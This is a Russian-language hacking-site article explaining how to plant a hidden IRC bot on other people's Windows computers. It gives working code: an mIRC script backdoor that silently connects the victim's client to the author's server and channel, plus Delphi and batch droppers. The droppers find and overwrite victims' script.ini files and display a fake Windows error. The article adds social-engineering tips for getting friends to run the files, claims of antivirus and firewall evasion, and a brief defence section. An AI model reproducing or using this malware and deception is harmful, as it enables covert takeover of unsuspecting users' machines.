V-zlom.ru » Статьи » Как повешать бота на винду

Как повешать бота на винду

1. Intro.
2. Трояны.
3. mIRC
скрипты.
I. пишем свой скриптовый
бэкдор
II. пишем на delphi прогу, которая вставит
бэкдора во вражеский mIRC
III. пишем на batch'ах
прогу, которая вставит бэкдора во вражеский mIRC
IV.
cоциальный инженеринг: впариваем прогу =)
4. Оба способа в
сравнении.
5. Как защититься.
6. Outro.

1. В
наши времена, среди владельцев популярных каналов, стало модным вешать на чанелы
по дюжине ботов с разных linux shell'ов для обеспечения, так сказать,
"безопасности канала". Я, конечно, ничего не имею против всяких там eggdrop'ов,
но как быть простым смертным юзерам, у которых нет ни шелла, ни сс, ни знаний
(как например у элиты с канала #31337 на сервере irc.dal.net.ru =)? Так вот в
этой статье я расскажу, как повесить бота на машину с win-подобной
операционкой.
Имхо, существует только два способа осуществить это: трояны и
трояны =) Начнём с первого.

2. Если ты был на мсне (irc.msn.com)
перед его закрытием, то ,наверное, успел насладиться n-ным кол-вом ботов на
каналах #russian_chat, #russian_girls, #russian_andybig и тд. Так вот, эти боты
далеко не eggdrop'ы. Это, так сказать, SubSeven'ы. Слышал про такой конь? Sub7
единственный троян на моей памяти, который позволял удалённо вешать irc-бота (я
давно не юзал троянов, так что не знаю, появились ли у него аналоги). Так что
качай Sub'a отсюда и наслаждайся.
Те же, кто не привыкли искать лёгких путей, могут читать
дальше.

3. Возможности mirc-скриптов оочень даже внушительны.
Написать на них тот же самый сgi-сканнер плёвое дело, не говоря уж о простеньком
боте. Для примера возьмём скрипт WarSatan. В него как раз и встроен такой
"простенький бот". Когда вы соединяетесь со своим любимым irc-сервером, скрипт
попутно коннектит юзера guest к серверу irc.webchat.org и заводит его на каналы
#CHATOP, #MEKAH и #PANGKOR. Вот и весь механизм работы. Наша задача - написать
такого же простого бэкдора в виде мирк-плагина.
I.

Hаиболее важные строчки буду комментировать.

on
1:CONNECT:{
;#открываем соединение с твоим irc
cервером
.sockopen 31337 irc_сервер его_порт
}
on
1:DISCONNECT:{
;#при разрыве соединения убиваем
сокет
.sockclose 31337
}
on
1:SOCKOPEN:31337:{
;#авторизуемся на
irc-сервере
.sockwrite -n $sockname USER BOT "" "localhost"
:Satanic bot
.sockwrite -n $sockname NICK ник_бота $+
$r(1,999)
;#заходим на твой канал
.sockwrite -n
$sockname join твой_канал
}
on 1:SOCKREAD:31337:{
;#этот
скрипт автоматически отвечает на серверный ping
;#без него сервер
будет кидать бота, потому что тот не отвечает на пинги
.sockread
%tmp
if ($gettok(%tmp,1,32) == ping)
{
.sockwrite -n $sockname PONG
$gettok(%tmp,2-,32)
}
}

Убираем комментарии,
подставляем свои значения, нумеруем строки (просто скопируй это всё в
mIRC-редактор и сохрани - он сам всё пронумерует) и сохраняем получившееся в
файл control.dll.
Сам бэкдор готов. Теперь осталось вставить его в чужой
script.ini.
II. Вот исходник на delphi проги, которая ищет
на винте файл script.ini и, при удачном исходе поиска, подменяет его нашим.


Важно! Control.dll нужно содержать в одном каталоге с данной прогой.


program
Project1;

uses
SysUtils,
windows,
shellapi;


const
search = 'script.ini'; //файл который нужно найти и заменить
replace =
'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте
откуда запуститься эта прога =)


var buf: array [0..255] of
char;
fl: PChar;
flag:boolean = false;

//процедура замены
файлов
procedure Change(where:pchar);

function CopyFile(FromFile,
ToDir : string) : boolean; //функция копирования
var F :
TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc :=
FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0;
F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or
FOF_SILENT;
{$I-}
result:=ShFileOperation(F) =
0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура
глоб. поиска
function Find(DirN: string):boolean;
var
tsr:
TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN +
'*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name =
'..') then continue;
Full:= DirN + '' + tsr.Name;
if tsr.Attr =
faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>

0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then
begin
find:=true;
flag:=true;
Change(pchar(DirN+''+tsr.Name));
end;

end;


//Основной
блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0
then
Change(buf)
else
begin
Find('c:');
// если надо и на других
дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not
Find('d:') then
// if Not Find('e:')
then
//etc....
end;

end.

III. Если же ты
с роду не занимался кодингом и тя бросает в дрожжь от слова "компилятор", давай
напишем такую прогу на batch'ах.

echo off
cls
if exist mirc.ini
goto in_the_same_dir
if exist c:mircMIRC.INI set mirc=c:mirc
if exist
c:mircmircMIRC.INI set mirc=c:mircmirc
if exist c:ircMIRC.INI set
mirc=c:irc
if exist c:ircmircMIRC.INI set mirc=c:ircmirc
if exist
c:chatmircMIRC.INI set mirc=c:chatmirc
if exist c:chatMIRC.INI set
mirc=c:chat
if exist c:progra~1mircMIRC.INI set
mirc=c:progra~1mirc
if exist c:chatlooksharpMIRC.INI set
look=c:chatlooksharp
if exist c:mirclooksharpMIRC.INI set
look=c:mirclooksharp
if exist c:irclooksharpMIRC.INI set
look=c:irclooksharp
if exist c:progra~1looksharpMIRC.INI set
look=c:progra~1looksharp
if exist c:progra~1trionMIRC.INI set
neo=c:progra~1trion
if exist c:progra~1neo-raMIRC.INI set
neo=c:progra~1neo-ra
if exist c:progra~1NeoRaTrionMIRC.INI set
neo=c:progra~1NeoRaTrion
if exist c:progra~1NeoRaMIRC.INI set
neo=c:progra~1NeoRa
if exist c:chatNeoRaMIRC.INI set
neo=c:chatNeoRa
if exist c:ircNeoRaMIRC.INI set neo=c:ircNeoRa
if
exist c:chatneo-raMIRC.INI set neo=c:chatneo-ra
if exist
c:ircneo-raMIRC.INI set neo=c:ircneo-ra
if exist c:chatTrionMIRC.INI
set neo=c:chatTrion
if exist c:ircTrionMIRC.INI set
neo=c:ircTrion
if exist c:TrionMIRC.INI set neo=c:Trion
if exist
c:NeoRaMIRC.INI set neo=c:NeoRa
if exist c:Neo-raMIRC.INI set
neo=c:Neo-ra
if exist d:chatNeoRaMIRC.INI set
neo_here=d:chatNeoRa
if exist d:ircNeoRaMIRC.INI set
neo_here=d:ircNeoRa
if exist d:chatneo-raMIRC.INI set
neo_here=d:chatneo-ra
if exist d:ircneo-raMIRC.INI set
neo_here=d:ircneo-ra
if exist d:chatTrionMIRC.INI set
neo_here=d:chatTrion
if exist d:ircTrionMIRC.INI set
neo_here=d:ircTrion
if exist d:TrionMIRC.INI set neo=d:Trion
if exist
d:NeoRaMIRC.INI set neo=d:NeoRa
if exist d:Neo-raMIRC.INI set
neo=d:Neo-ra
if exist d:mircMIRC.INI set mirc=d:mirc
if exist
d:mircmircMIRC.INI set mirc=d:mircmirc
if exist d:ircMIRC.INI set
mirc=d:irc
if exist d:ircmircMIRC.INI set mirc=d:ircmirc
if exist
d:chatmircMIRC.INI set mirc=d:chatmirc
if exist d:chatMIRC.INI set
mirc=d:chat
if exist d:looksharpMIRC.INI set look=d:looksharp
if exist
d:chatlooksharpMIRC.INI set look=d:chatlooksharp
if exist
d:mirclooksharpMIRC.INI set look=d:mirclooksharp
if exist
d:irclooksharpMIRC.INI set look=d:irclooksharp
if "%mirc%"=="" goto
no_mirc
deltree /y %mirc%script.ini
copy control.dll
%mirc%script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree
/y %look%Systemlookevents04.sys
copy control.dll
%look%Systemlookevents04.sys
cls
:no_look
if "%neo%"=="" goto
end
deltree /y %neo%roottrionscr7.ini
copy control.dll
%neo%roottrionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y
script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows
is not correctly installed.
echo Pleas re-install it and try again

Эта
байда методом тыка ищет mIRC, NeoRa Trion и Looksharp. Вероятность нахождения
довольно незначительна, так что желательно уломать субъекта положить это файло
вместе с control.dll в один каталог с его irc-клиентом. В случае удачного исхода
поиска, файло подменяет чужой script.ini нашим control.dll.
Сконвертируй этот
bat'ник в exe'шник каким-нибудь bat2exec'ом и можешь впаривать своим друзьям.



IV. Думаю, не мне тебе рассказывать о том, как
"впаривать" кому-то exe'шник. Просто хочется подчеркнуть одну особенность.
Согласись, просьба запустить твой exe'шник вызывет подозрение даже у самого
недалёкого юзера. Так что, можно пойти другим путём. Для этого вернёмся к пункту
I. НЕ НУМЕРУЙ строчки скрипта, просто засунь его в файл joke.mrc. Всё. Теперь
раздавай его своим друзьям со словами: положи его в каталог со своим мирком,
введи в его консоли "/load -rs joke.mrc" и наслаждайся всеми прелестями плагина
=)

4. И так, чем же способ с подменой script.ini лучше?
1) не
ловится антивирусами
2) не ловится FairWall'ами. Думаю, многие сразу с пеной
изо рта начнут доказывать, что ZoneAlarm и AtGuard оберегут их от этого. Спец
для них объясняю: если mIRC в этих двух фаирволах прописан как Allowed
serverclient, то фв даже не пикнет при открытии соединения бэкдором.
3)
трудно обнаружитьубить даже опытному юзеру

5. Ну а теперь о том,
как собственно защититься. Опять же не буду рассматривать способ с Sub7'ом (т.к.
с ним всё понятно: AVP + ZoneAlarm), сразу перейду ко второму.
Для
обнаружения скриптового бэкдора стоит воспользоваться каким-нибудь mIRC плагином
вроди IPSearch'a, который поискал бы на сервере юзера с таким же ипом как у
тебя. Если таковой имеется, значит кто-то однозначно повесил на тебя бота. Если
же такой не найден, значит или бот на другом сервере, или ты чист.
Также, для
обнаружения бота можно использовать тот же самый ZAlarm: на данный момент,
крупнейшие IRC серверы, проверяют всех клиентов на прокси. Каким образом?
Простым сканированием портов. Так вот, если ты коннектишься к серверу
irc.some.com, a порты у тя сканирует какой-нибудь irc.lame.com, то стоит
задумкаться...
Как убить бэкдора? Если не разбираешься в скриптинге, просто
переустанови irc клиент.

6. Ну что можно сказать в завершении? Не
юзайте незнакомые скрипты и не заставляйте других это делать =)

  • Автор: makar
  • Комментарии: 0
  • Просмотры: 831
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!